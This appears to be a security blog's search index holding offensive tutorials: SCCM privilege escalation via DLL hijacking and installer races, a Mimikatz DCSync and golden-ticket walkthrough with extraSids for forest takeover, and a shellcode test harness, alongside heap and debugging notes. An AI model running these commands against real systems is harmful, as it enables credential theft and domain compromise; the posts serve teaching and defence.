[{"content":" In large-scale enterprise environments, centralized software deployment automation provides tremendous operational efficiency for both employees and IT departments. However, delegating software installation self-service to unprivileged users introduces subtle security boundary assumptions that attackers can exploit to achieve local privilege escalation (NT AUTHORITY\\SYSTEM).\nWhen standard enterprise users are permitted to initiate software installations on demand via Software Center, third-party installer packages are often executed within the SYSTEM security context. Because most commercial software installers were originally engineered assuming an interactive local administrator session rather than automated headless deployment, this architectural mismatch creates high-impact security vulnerabilities: DLL search-order hijacking, insecure temporary directory usage, and file-creation race conditions.\nExecutive Overview: The Deployment Problem In enterprise environments with tens of thousands of managed endpoints:\nUsers constantly require various third-party applications and regular updates. Granting local administrative privileges violates the principle of least privilege and introduces widespread corporate security risks. Manually dispatching IT support technicians for every installation or patch is operationally infeasible. To bridge this gap, enterprise organizations rely on Microsoft Endpoint Configuration Manager (SCCM / MEM).\n+-------------------------------------------------------------+ | ConfigMgr Server | | - Packages \u0026amp; Applications defined | | - AppEnforce execution policy configured | +------------------------------+------------------------------+ | SOAP / RPC Policy | v +-------------------------------------------------------------+ | Client Workstation | | - User initiates install via Software Center (Unprivileged)| | - CcmExec orchestrates deployment | | - Installer executes as NT AUTHORITY\\SYSTEM | +-------------------------------------------------------------+ Intended Installation Model vs. Reality In a typical desktop environment, software installers modify protected system paths (C:\\Program Files, registry hives like HKLM, and system driver configurations). Consequently, installers require elevated permissions.\nWhen a local administrator runs an installer manually, the user and the execution context reside within the same trust boundary.\nFigure 1: Standard interactive installation running under an administrative session.\nThe ConfigMgr Architecture With SCCM, administrative teams define deployment metadata describing how each application is provisioned across endpoints. Packages can include .msi installers, standalone .exe executables, or custom PowerShell wrappers:\nPackage source location and hash validation Command-line install and uninstall switches (e.g., /qn, /silent) Detection rules and user experience settings Figure 2: ConfigMgr Console application definition.\nFigure 3: Deployed software packages available to endpoints.\nThe AppEnforce Boundary A critical deployment parameter in ConfigMgr is Installation Behavior:\nUser Context (Install for user): The installer executes in the security context of the logged-on unprivileged user. Machine Context (Install for system): The installer executes under NT AUTHORITY\\SYSTEM. Figure 4: Enforcing the installation context (User vs. System).\nBecause standard commercial installers attempt to write to Program Files or HKLM, running them in User Context typically fails immediately with error code 0x800702E4 (The requested operation requires elevation):\nFigure 5: Failure when deploying administrative installers under User context.\nAs a result, SCCM administrators configure almost all applications to deploy under the System context (Install for system).\nThe Client Experience Endpoints query the SCCM Management Point over SOAP/WMI, downloading catalog metadata and populating Software Center:\nFigure 6: Endpoint Software Center available to low-privileged users.\nFigure 7: An unprivileged employee initiates an approved installation on demand.\nWhen a user clicks Install:\nThe installation binaries are staged locally into C:\\Windows\\ccmcache\\\u0026lt;id\u0026gt;\\. The CcmExec service communicates deployment parameters to the Windows Installer service (msiserver.exe) or spawns the target executable directly. The installer runs elevated as NT AUTHORITY\\SYSTEM without prompting for UAC credentials. The Root Vulnerability: The Exposed Temp Boundary Most setup packages assume that when they run elevated, they are executing within an interactive administrator\u0026rsquo;s profile. They rely on the Windows installer property CommonAppDataFolder or user %TEMP% directories to extract payloads, load helper DLLs, and run temporary scripts.\nFigure 8: Traditional assumptions vs. SCCM background deployment.\nWhen running as NT AUTHORITY\\SYSTEM, there is no standard user profile directory. Instead, the process maps %TEMP% and %TMP% directly to:\nC:\\Windows\\Temp By default in Windows, unprivileged users have write and directory-creation permissions inside C:\\Windows\\Temp. When an installer running as SYSTEM extracts files to C:\\Windows\\Temp or searches that directory for dynamic dependencies, unprivileged users can manipulate those files to achieve arbitrary code execution as SYSTEM.\nFigure 9: Process execution tree resolving under SYSTEM.\nPrivilege Escalation Case Studies Case Study 1: Microsoft Office Installer \u0026amp; DLL Search-Order Hijacking When Microsoft Office\u0026rsquo;s setup.exe runs under Machine Context via SCCM, it unpacks and launches auxiliary processes such as ose00000.exe out of C:\\Windows\\Temp\\.\nDuring execution, Process Monitor reveals that the process attempts to dynamically load libraries using standard Windows DLL search order resolution, probing C:\\Windows\\Temp\\ before system directories:\nFigure 10: Process Monitor capturing missing DLL lookups in C:\\Windows\\Temp.\nBecause any low-privileged user can write to C:\\Windows\\Temp\\, an attacker simply plants a malicious DLL (such as version.dll):\nFigure 11: Pre-staging a malicious payload in C:\\Windows\\Temp.\nWhen the unprivileged user triggers the Office installation from Software Center, setup.exe loads the malicious DLL as NT AUTHORITY\\SYSTEM.\nCase Study 2: WinZip Installer \u0026amp; File Creation Race Condition During the unattended installation of WinZip, MsiExec.exe (running as SYSTEM) writes an auxiliary utility named CloseFAH.exe into C:\\Windows\\Temp\\ and executes it shortly thereafter.\nThe window between when the write handle is closed and when the process is executed is approximately 200 milliseconds—more than enough time to win a local race condition via file system monitoring APIs (ReadDirectoryChangesW) or Opportunistic Locks (OpLocks):\nThe exploit monitors C:\\Windows\\Temp\\ for the creation of CloseFAH.exe. As soon as the handle is released, the exploit overwrites CloseFAH.exe with a custom payload. The Windows Installer executes the modified binary as SYSTEM. Figure 12: Catching file-access exceptions while racing the SYSTEM process.\nFigure 13: Proof-of-concept payload execution demonstrating full SYSTEM compromise.\nRed Team Methodology: Discovery and On-Demand Triggering Once an attacker secures an initial foothold on a workstation, this deployment architecture can be systematically exploited:\n1. Identify ConfigMgr Presence Check for the active CcmExec service:\nGet-Process -Name CcmExec Get-Service -Name CcmExec 2. Inspect AppEnforce.log Review C:\\Windows\\CCM\\Logs\\AppEnforce.log for installed and available deployment actions. This log records:\nPackage GUIDs and application IDs Execution contexts (Machine vs. User) Complete command-line strings for installation and uninstallation Local cache locations (C:\\Windows\\ccmcache\\\u0026lt;id\u0026gt;\\) +++ Starting Install enforcement for App DT \u0026#34;Vendor Software - Windows Installer\u0026#34; ... Context: Machine Command line: \u0026#34;msiexec.exe\u0026#34; /i \u0026#34;vendor.msi\u0026#34; /qn Content path: C:\\Windows\\ccmcache\\3e\\ If administrators use custom PowerShell scripts or wrappers rather than pure MSI packages, additional DLL search-order and unquoted service path opportunities frequently emerge:\nFigure 14: Inspecting script wrappers in AppEnforce.log.\n3. Replicate and Profile Offline Exfiltrate the package contents from C:\\Windows\\ccmcache\\\u0026lt;id\u0026gt;\\ to an offline analysis machine. In an elevated command prompt (using psexec -i -s cmd.exe to simulate SYSTEM), launch the installation switch while running Process Monitor with the following filters:\nOperation is CreateFile Operation is LoadImage Path contains .dll Path contains .exe Result is NAME NOT FOUND 4. Trigger Deployment via WMI Rather than waiting for scheduled maintenance windows or interacting with the graphical Software Center UI, an attacker can trigger the installation or uninstallation directly from a C2 beacon using the ROOT\\ccm\\ClientSDK WMI namespace:\n# Query available Software Center applications Get-WmiObject -Namespace \u0026#34;root\\ccm\\clientsdk\u0026#34; -Class CCM_Application # Trigger installation on-demand via CCM_Application method $app = Get-WmiObject -Namespace \u0026#34;root\\ccm\\clientsdk\u0026#34; -Query \u0026#34;SELECT * FROM CCM_Application WHERE Id=\u0026#39;Application_GUID\u0026#39;\u0026#34; Invoke-WmiMethod -Namespace \u0026#34;root\\ccm\\clientsdk\u0026#34; -Class CCM_Application -Name Install -ArgumentList @($app.Id, $app.Revision, $True, 0, \u0026#34;Normal\u0026#34;, $False) Figure 15: Querying client SDK WMI classes.\nFigure 16: Executing installation programmatically.\nFigure 17: Process invocation occurring under SYSTEM context.\nDefensive Recommendations \u0026amp; Hardening To mitigate privilege escalation vectors through automated deployment boundaries:\nRestrict C:\\Windows\\Temp Permissions: Modify NTFS access control lists (ACLs) on C:\\Windows\\Temp so unprivileged users cannot read or execute files placed by other users/SYSTEM, or restrict directory creation rights. Audit Packaging Standards: Ensure MSI and third-party packaging configurations do not extract executables or dynamic libraries into shared, unprivileged-writable directories. Use dedicated, securely ACL\u0026rsquo;d subdirectories under %ProgramData%. Use Absolute Paths in Deployment Scripts: When wrapping installers in PowerShell or batch files, always supply fully qualified paths for binaries and working directories. Endpoint Behavioral Monitoring: Configure EDR rules to flag low-privileged users writing executable files (.dll, .exe) into C:\\Windows\\Temp, as well as parent-child anomalies where CcmExec.exe or msiexec.exe spawns processes that load newly written DLLs from temporary storage. ","permalink":"/sccm-tampering-with-deployment-boundaries-for-eop/","summary":"\u003cblockquote\u003e\n\u003cp\u003eIn large-scale enterprise environments, centralized software deployment automation provides tremendous operational efficiency for both employees and IT departments. However, delegating software installation self-service to unprivileged users introduces subtle security boundary assumptions that attackers can exploit to achieve local privilege escalation (\u003ccode\u003eNT AUTHORITY\\SYSTEM\u003c/code\u003e).\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eWhen standard enterprise users are permitted to initiate software installations on demand via \u003cstrong\u003eSoftware Center\u003c/strong\u003e, third-party installer packages are often executed within the \u003ccode\u003eSYSTEM\u003c/code\u003e security context. Because most commercial software installers were originally engineered assuming an interactive local administrator session rather than automated headless deployment, this architectural mismatch creates high-impact security vulnerabilities: DLL search-order hijacking, insecure temporary directory usage, and file-creation race conditions.\u003c/p\u003e","title":"SCCM: Tampering with Deployment Boundaries for Privilege Escalation"},{"content":"In complex enterprise networks, Active Directory is typically deployed as a multi-domain forest. An organization begins with a forest root domain (e.g., UNIXAWY.CORP) and branches into child domains for geographic regions, business units, or acquisitions (e.g., operators.unixawy.corp).\nA common security misconception is that a child domain functions as a security boundary. In an Active Directory forest, the forest is the only true security boundary—the domain is simply an administrative boundary.\nOnce an attacker achieves Domain Admin rights in a subordinate child domain, they can pivot to Enterprise Admin and compromise every domain in the forest.\nCore Concepts 1. The Enterprise Admins Group The Enterprise Admins (EA) group (RID 519) exists exclusively in the root domain of the forest. Members of EA possess universal administrative authority over all domain controllers and services across the entire forest.\n2. Kerberos Golden Tickets \u0026amp; krbtgt A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) encrypted and signed using the domain\u0026rsquo;s krbtgt account NTLM hash or AES key. Because the Key Distribution Center (KDC) trusts any TGT signed by the krbtgt key, an attacker can arbitrarily specify group memberships, user identities, and lifespans.\n3. SID History Injection (extraSids) When users migrate between domains, Active Directory preserves access using the sIDHistory attribute. When validating a Kerberos ticket, the target domain includes all SIDs listed in the user\u0026rsquo;s sIDHistory into the user\u0026rsquo;s effective token.\nBecause intra-forest trusts do not enable SID filtering by default, forging a Golden Ticket in a child domain and appending the Root Domain Enterprise Admins SID (extraSids) grants the bearer immediate Enterprise Admin privileges across the entire forest.\nExploitation Walkthrough Let us assume you have achieved Domain Admin on a child domain: operators.unixawy.corp.\nStep 1: Query the Root Forest Enterprise Admins SID You do not need administrative rights on the root domain (UNIXAWY.CORP) to query group SIDs—any domain user can read directory metadata over LDAP:\nGet-NetGroup -Domain UNIXAWY.CORP -GroupName \u0026#34;Enterprise Admins\u0026#34; -FullData | Select-Object objectsid Output:\nobjectsid --------- S-1-5-21-280534878-1938582341-966625481-519 Step 2: Enumerate Domain SIDs via Trust Links Using Mimikatz, inspect inter-domain trust relationships to obtain both the current domain SID and parent domain SID:\nmimikatz # lsadump::trust Current domain: operators.UNIXAWY.CORP (opcorp / S-1-5-21-2349851236-9982960731-10393245) Domain: UNIXAWY.CORP (UNICORP / S-1-5-21-280534878-1938582341-966625481) Step 3: Extract the Child Domain krbtgt Hash via DCSync Execute a DCSync attack against the child domain controller to retrieve the krbtgt secret:\nInvoke-Mimikatz -Command \u0026#39;\u0026#34;lsadump::dcsync /domain:operators.unixawy.corp /user:krbtgt\u0026#34;\u0026#39; Assume the extracted NTLM hash is 8b5ef256e66f97b39330ef3968b97864.\nStep 4: Forge the Inter-Domain Golden Ticket with ExtraSIDs Generate the forged TGT for Administrator. The crucial parameter is /sids:, which injects the root domain\u0026rsquo;s Enterprise Admins SID (-519):\nInvoke-Mimikatz -Command \u0026#39;\u0026#34;kerberos::golden /user:Administrator /domain:operators.UNIXAWY.CORP /sid:S-1-5-21-2349851236-9982960731-10393245 /sids:S-1-5-21-280534878-1938582341-966625481-519 /krbtgt:8b5ef256e66f97b39330ef3968b97864 /ticket:c:\\ea_golden_tgt.kirbi\u0026#34;\u0026#39; Step 5: Inject and Execute Forest-Wide DCSync Inject the forged ticket into your current logon session:\nInvoke-Mimikatz -Command \u0026#39;\u0026#34;kerberos::ptt c:\\ea_golden_tgt.kirbi\u0026#34;\u0026#39; Verify your Kerberos tickets with klist. You can now DCSync the root domain controller:\nInvoke-Mimikatz -Command \u0026#39;\u0026#34;lsadump::dcsync /domain:UNIXAWY.CORP /user:krbtgt\u0026#34;\u0026#39; Defensive Recommendations Treat Child Domains as Untrusted: Never place high-value assets or Tier 0 administrative accounts in child domains. Enable SID Filtering / Quarantine on Forest Trusts: If external trusts exist, ensure SID filtering is enforced (netdom trust ... /quarantine:yes). Monitor krbtgt Requests and Ticket Anomalies: Alert on Event ID 4769 (Kerberos ticket requested) containing abnormal SID History fields across domain boundaries. ","permalink":"/enterprise-admin-golden-ticket/","summary":"\u003cp\u003eIn complex enterprise networks, Active Directory is typically deployed as a multi-domain forest. An organization begins with a forest root domain (e.g., \u003ccode\u003eUNIXAWY.CORP\u003c/code\u003e) and branches into child domains for geographic regions, business units, or acquisitions (e.g., \u003ccode\u003eoperators.unixawy.corp\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eA common security misconception is that a child domain functions as a security boundary. In an Active Directory forest, \u003cstrong\u003ethe forest is the only true security boundary—the domain is simply an administrative boundary\u003c/strong\u003e.\u003c/p\u003e","title":"Cross-Domain Escalation: Child-to-Forest Compromise via SID History and Golden Tickets"},{"content":"Unlike stack memory which grows downward from high addresses and is automatically managed via function call frames, Heap memory grows upward from lower addresses and is managed explicitly at runtime via dynamic allocation.\nUnderstanding heap layout and allocator metadata is fundamental to analyzing heap exploitation primitives (such as use-after-free, heap overflows, fastbin dupes, and unlink exploitation).\nCore Allocation Primitives malloc(size): Requests size bytes from the heap and returns a generic pointer. The returned memory is uninitialized. calloc(num, size): Allocates memory for an array and initializes all bytes to zero (mitigates information disclosure bugs). realloc(ptr, size): Resizes an existing heap block, either expanding in-place or allocating a new region, copying existing data, and freeing the old chunk. free(ptr): Releases the allocated chunk back to the heap manager. Kernel Interface: brk/sbrk vs. mmap The userspace memory allocator (e.g., Glibc\u0026rsquo;s ptmalloc) interacts with the Linux kernel using two primary system calls:\nbrk / sbrk: Adjusts the process \u0026ldquo;program break\u0026rdquo; pointer to expand or contract the contiguous heap segment. Used for smaller dynamic allocations. mmap: Maps an anonymous private page directly into the process address space. Allocations exceeding MMAP_THRESHOLD (typically 128 KB) bypass the contiguous heap segment entirely and receive a dedicated mmap allocation. ptmalloc Chunk Internal Architecture In Glibc\u0026rsquo;s ptmalloc (derived from Doug Lea\u0026rsquo;s dlmalloc), dynamic memory is organized into chunks.\n1. Allocated Chunk Layout When memory is in active use by the application:\n+-----------------------+-----------------------+ | prev_size | size | A | M | P +-----------------------+-----------------------+ | User Data ... | | | +-----------------------------------------------+ prev_size: If the immediately preceding contiguous chunk is free, this field holds its size (used during coalescing). size: Total chunk size (aligned to 8 bytes on 32-bit systems, 16 bytes on 64-bit systems). Flag Bits (Lowest 3 bits of size): P (PREV_INUSE, 0x1): Set to 1 if the previous chunk is allocated; 0 if free. M (IS_MMAPPED, 0x2): Set if allocated via mmap. A (NON_MAIN_ARENA, 0x4): Set if chunk originates from a secondary thread arena. 2. Free Chunk Layout When a chunk is freed, its user data area is repurposed to link it into allocation lists (bins):\n+-----------------------+-----------------------+ | prev_size | size | A | M | P +-----------------------+-----------------------+ | *fd (Forward Pointer) | +-----------------------------------------------+ | *bk (Backward Pointer) | +-----------------------------------------------+ | fd_nextsize / bk_nextsize (Large bins) | +-----------------------------------------------+ | ... | +-----------------------------------------------+ | size (duplicate at footer) | +-----------------------------------------------+ fd / bk: Doubly linked list pointers pointing to neighbor free chunks in the bin. Bins and Free Lists When free() is called, chunks are placed into specialized bins categorized by size to optimize re-allocation speed:\nFastbins: Singly linked LIFO lists for small allocations (\u0026lt; 80 bytes). Chunks in fastbins do not have their PREV_INUSE bit cleared to avoid immediate coalescing overhead. Unsorted Bin: Temporary transit queue where chunks first arrive upon being freed, facilitating fast reuse. Small Bins: Fixed-size doubly linked lists (\u0026lt; 512 bytes on 32-bit, \u0026lt; 1024 bytes on 64-bit). Large Bins: Variable-size doubly linked sorted lists for larger allocations. Tcache (Thread Local Caching): Per-thread singly linked lists introduced in modern Glibc to eliminate lock contention in multithreaded applications. Comparative Modern Allocators ptmalloc3: Default in standard Glibc. Uses thread arenas to minimize multi-threaded lock contention. tcmalloc (Google): Thread-Caching Malloc designed for extreme high-concurrency workloads and built-in heap profiling. jemalloc (FreeBSD / Meta): Focuses on predictable fragmentation avoidance; default in FreeBSD and used heavily by Firefox and Redis. ","permalink":"/dynamic-memory/","summary":"\u003cp\u003eUnlike stack memory which grows downward from high addresses and is automatically managed via function call frames, \u003cstrong\u003eHeap memory\u003c/strong\u003e grows upward from lower addresses and is managed explicitly at runtime via dynamic allocation.\u003c/p\u003e\n\u003cp\u003eUnderstanding heap layout and allocator metadata is fundamental to analyzing heap exploitation primitives (such as use-after-free, heap overflows, fastbin dupes, and unlink exploitation).\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"core-allocation-primitives\"\u003eCore Allocation Primitives\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003emalloc(size)\u003c/code\u003e\u003c/strong\u003e: Requests \u003ccode\u003esize\u003c/code\u003e bytes from the heap and returns a generic pointer. The returned memory is uninitialized.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003ecalloc(num, size)\u003c/code\u003e\u003c/strong\u003e: Allocates memory for an array and initializes all bytes to zero (mitigates information disclosure bugs).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003erealloc(ptr, size)\u003c/code\u003e\u003c/strong\u003e: Resizes an existing heap block, either expanding in-place or allocating a new region, copying existing data, and freeing the old chunk.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efree(ptr)\u003c/code\u003e\u003c/strong\u003e: Releases the allocated chunk back to the heap manager.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"kernel-interface-brksbrk-vs-mmap\"\u003eKernel Interface: \u003ccode\u003ebrk\u003c/code\u003e/\u003ccode\u003esbrk\u003c/code\u003e vs. \u003ccode\u003emmap\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe userspace memory allocator (e.g., Glibc\u0026rsquo;s \u003ccode\u003eptmalloc\u003c/code\u003e) interacts with the Linux kernel using two primary system calls:\u003c/p\u003e","title":"Linux Heap Memory Architecture: Chunks, Bins, and Allocators"},{"content":"While attempting to attach the IDA Pro debugger to a 64-bit target process on Windows (e.g., using the Local Windows Debugger or Windbg backend), you may encounter this error dialog:\n\u0026ldquo;The debugger could not attach to the selected process. This can perhaps indicate the process was just terminated, or that you don\u0026rsquo;t have the necessary privileges.\u0026rdquo;\nEven when running ida64.exe as Administrator with full High Mandatory Integrity tokens, Windows access control restrictions, process isolation (PPL/Protected Process Light), or SeDebugPrivilege token handling can prevent IDA\u0026rsquo;s GUI from attaching directly.\nThe Fix: Decouple via Local Remote Debugging Server The most reliable solution is to decouple the IDA GUI from process attachment by using IDA\u0026rsquo;s standalone 64-bit remote debugging stub:\nLocate the Debugger Server Directory: Navigate to the dbgsrv subfolder inside your IDA installation directory: C:\\Program Files\\IDA Pro\\dbgsrv\\\nLaunch the 64-bit Debug Server as Administrator: Right-click win64_remotex64.exe and select Run as Administrator (or run from an elevated cmd prompt):\nwin64_remotex64.exe -i127.0.0.1 The server listens on localhost:23946.\nConfigure IDA Pro to Attach via Remote Windows Debugger:\nIn IDA Pro, go to Debugger → Switch Debugger → Remote Windows debugger. Navigate to Debugger → Process Options. Set Hostname to 127.0.0.1 and Port to 23946. Go to Debugger → Attach to Process\u0026hellip; and select your target binary. By attaching through the elevated win64_remotex64.exe daemon, the remote server acquires the requisite process handles cleanly, bypassing the local UI attach restrictions.\n","permalink":"/ida-debugger-you-dont-have-the-necessary-privileges/","summary":"\u003cp\u003eWhile attempting to attach the IDA Pro debugger to a 64-bit target process on Windows (e.g., using the Local Windows Debugger or Windbg backend), you may encounter this error dialog:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003e\u0026ldquo;The debugger could not attach to the selected process. This can perhaps indicate the process was just terminated, or that you don\u0026rsquo;t have the necessary privileges.\u0026rdquo;\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eEven when running \u003ccode\u003eida64.exe\u003c/code\u003e as Administrator with full High Mandatory Integrity tokens, Windows access control restrictions, process isolation (PPL/Protected Process Light), or SeDebugPrivilege token handling can prevent IDA\u0026rsquo;s GUI from attaching directly.\u003c/p\u003e","title":"Fixing IDA Pro Error: 'The debugger could not attach... you don't have the necessary privileges'"},{"content":"When debugging binaries during exploit development or wargames, third-party frameworks like GEF, Pwndbg, or Peda provide helpful dashboard views. However, in restricted testing environments, CTF shells, or isolated embedded targets, you may not have internet access or Python dependencies installed to run external tools.\nYou can configure vanilla GDB to provide an automated register and stack inspection view using native define hook-stop hooks in ~/.gdbinit.\nCustom ~/.gdbinit Configuration Create or update ~/.gdbinit in your home directory:\n# Switch syntax from AT\u0026amp;T to Intel standard set disassembly-flavor intel # Define an automatic hook executed every time GDB pauses execution define hook-stop echo \\n================== [ REGISTERS ] ==================\\n info register eax ebx ecx edx esi edi ebp esp eip echo \\n================== [ NEXT OPCODES ] ===============\\n x/8i $pc echo \\n================== [ STACK (ESP) ] ================\\n x/16wx $esp echo \\n================== [ FRAME (EBP) ] ================\\n x/8wx $ebp echo \\n====================================================\\n end (For 64-bit binaries, replace 32-bit registers with rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, rip).\nHow It Works set disassembly-flavor intel: Switches opcode rendering from AT\u0026amp;T (mov %esp, %ebp) to standard Intel syntax (mov ebp, esp). hook-stop: An internal GDB trigger. Whenever a breakpoint is struck, a step finishes (stepi/nexti), or a signal (e.g., SIGSEGV) occurs, GDB automatically executes the commands within the hook. Execution Context: Displays core CPU registers. Shows the next 8 instructions about to execute at $pc. Displays the top 16 words on the stack starting at $esp. ","permalink":"/gdb-init/","summary":"\u003cp\u003eWhen debugging binaries during exploit development or wargames, third-party frameworks like GEF, Pwndbg, or Peda provide helpful dashboard views. However, in restricted testing environments, CTF shells, or isolated embedded targets, you may not have internet access or Python dependencies installed to run external tools.\u003c/p\u003e\n\u003cp\u003eYou can configure vanilla GDB to provide an automated register and stack inspection view using native \u003ccode\u003edefine hook-stop\u003c/code\u003e hooks in \u003ccode\u003e~/.gdbinit\u003c/code\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"custom-gdbinit-configuration\"\u003eCustom \u003ccode\u003e~/.gdbinit\u003c/code\u003e Configuration\u003c/h3\u003e\n\u003cp\u003eCreate or update \u003ccode\u003e~/.gdbinit\u003c/code\u003e in your home directory:\u003c/p\u003e","title":"Lightweight Exploit Development Interface Using .gdbinit Hooks"},{"content":"Technical engineering domains—systems security, reverse engineering, kernel architecture, and network protocols—require assimilating dense, complex information rapidly.\nMastering technical skills is not simply a function of study hours; it depends on understanding the underlying cognitive mechanics of human memory and information retention.\n1. Focused vs. Diffuse Thinking Modes The human brain alternates between two distinct cognitive operating modes:\nFocused Mode: High-concentration, direct analytical attention focused on solving known problem sets using familiar neural pathways. Diffuse Mode: Big-picture, subconscious contemplation occurring during relaxation, walking, or resting. Diffuse thinking allows disparate regions of the brain to synthesize novel connections and resolve conceptual roadblocks. The Pomodoro Technique To prevent cognitive fatigue while training focused attention:\n25-minute sprint: Intense, uninterrupted focus on a single task (silence all notifications and eliminate tab context-switching). Immediate reward \u0026amp; rest: 5-minute complete cognitive disengagement (step away from the screen, walk, hydrate). Repeat for four cycles before taking an extended break. 2. Memory Architecture: Working vs. Long-Term +------------------------------------+ | Working Memory (RAM) | | - ~4 active cognitive slots | | - Volatile, easily overloaded | +-----------------+------------------+ | Spaced Repetition \u0026amp; Chunking | v +------------------------------------+ | Long-Term Memory (Disk) | | - High capacity neural storage | | - Requires associative indexing | +------------------------------------+ Working Memory (~4 Chunks) Working memory holds active items under conscious processing. Because working memory has roughly four active conceptual slots, attempting to absorb complex raw code or architectural diagrams without structure immediately causes cognitive overload.\nChunking Information To transition details from working memory into long-term storage:\nDeconstruction: Break complex systems down into modular, atomic mechanisms (e.g., understand individual x86 assembly instructions before analyzing entire function prologues). Synthesis: Connect the small parts into an integrated mental model (the \u0026ldquo;big picture\u0026rdquo;). Deliberate Practice: Actively apply the knowledge in realistic lab exercises or code implementations. 3. High-Yield Retention Strategies Active Recall vs. Passive Rereading Simply rereading notes or highlighting textbook paragraphs creates an illusion of competence—the false belief that because text looks familiar on the page, the concept is mastered in memory.\nLook Away and Recall: After reading a technical section or analyzing an RFC, close the material and write down or explain the concept from memory. Self-Testing: Treating mini-quizzes, CTF challenges, or lab debugging sessions as learning tools strengthens synaptic retrieval pathways far more effectively than passive observation. Spaced Repetition Cramming creates shallow neural impressions that decay rapidly. Building durable long-term storage requires spaced intervals across days and weeks, allowing the brain to consolidate neural structures during sleep.\nContext Variation Study in different physical environments and draw analogies between disparate engineering concepts. Associating principles across varied contexts prevents memory retrieval from becoming dependent on a single physical setting.\n","permalink":"/learn-how-to-learn/","summary":"\u003cp\u003eTechnical engineering domains—systems security, reverse engineering, kernel architecture, and network protocols—require assimilating dense, complex information rapidly.\u003c/p\u003e\n\u003cp\u003eMastering technical skills is not simply a function of study hours; it depends on understanding the underlying cognitive mechanics of human memory and information retention.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-focused-vs-diffuse-thinking-modes\"\u003e1. Focused vs. Diffuse Thinking Modes\u003c/h2\u003e\n\u003cp\u003eThe human brain alternates between two distinct cognitive operating modes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFocused Mode:\u003c/strong\u003e High-concentration, direct analytical attention focused on solving known problem sets using familiar neural pathways.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiffuse Mode:\u003c/strong\u003e Big-picture, subconscious contemplation occurring during relaxation, walking, or resting. Diffuse thinking allows disparate regions of the brain to synthesize novel connections and resolve conceptual roadblocks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"the-pomodoro-technique\"\u003eThe Pomodoro Technique\u003c/h3\u003e\n\u003cp\u003eTo prevent cognitive fatigue while training focused attention:\u003c/p\u003e","title":"Learning How to Learn: Cognitive Strategies and Mental Models for Engineers"},{"content":"When writing or modifying custom assembly shellcode (such as egg hunters, socket reuse payloads, or stagers), you must verify that the payload functions correctly before embedding it into a full exploit delivery chain.\nA standard C test harness executes shellcode by casting a char array in memory to a function pointer and calling it directly.\nThe C Test Harness #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; // Example: Software breakpoint (INT3) or your target shellcode const char shellcode[] = \u0026#34;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#34;; int main(int argc, char **argv) { printf(\u0026#34;Shellcode length: %zu bytes\\n\u0026#34;, strlen(shellcode)); // Cast the array address to a callable function pointer int (*ret)() = (int (*)())shellcode; // Transfer control flow to shellcode ret(); return 0; } Compilation Flags: Disabling Modern Mitigations Modern compilers enable Stack Canaries and enforce Non-Executable Memory (DEP / NX) by default. If you attempt to execute data placed in the .rodata or .data section without special flags, the kernel terminates the process with a SIGSEGV / segmentation fault.\nCompile with -z execstack and -fno-stack-protector:\n# 32-bit compilation: gcc -m32 -fno-stack-protector -z execstack shellcode_test.c -o test32 # 64-bit compilation: gcc -fno-stack-protector -z execstack shellcode_test.c -o test64 -z execstack: Clears the GNU_STACK ELF header flag, instructing the kernel loader to mark memory pages containing data and the stack as executable (RWX). -fno-stack-protector: Disables stack canary verification. Debugging Under GDB To step through your shellcode instruction-by-instruction:\ngdb -q ./test32 (gdb) break main (gdb) run (gdb) stepi ","permalink":"/shellcode-validation-via-c-pointer/","summary":"\u003cp\u003eWhen writing or modifying custom assembly shellcode (such as egg hunters, socket reuse payloads, or stagers), you must verify that the payload functions correctly before embedding it into a full exploit delivery chain.\u003c/p\u003e\n\u003cp\u003eA standard C test harness executes shellcode by casting a char array in memory to a function pointer and calling it directly.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"the-c-test-harness\"\u003eThe C Test Harness\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Example: Software breakpoint (INT3) or your target 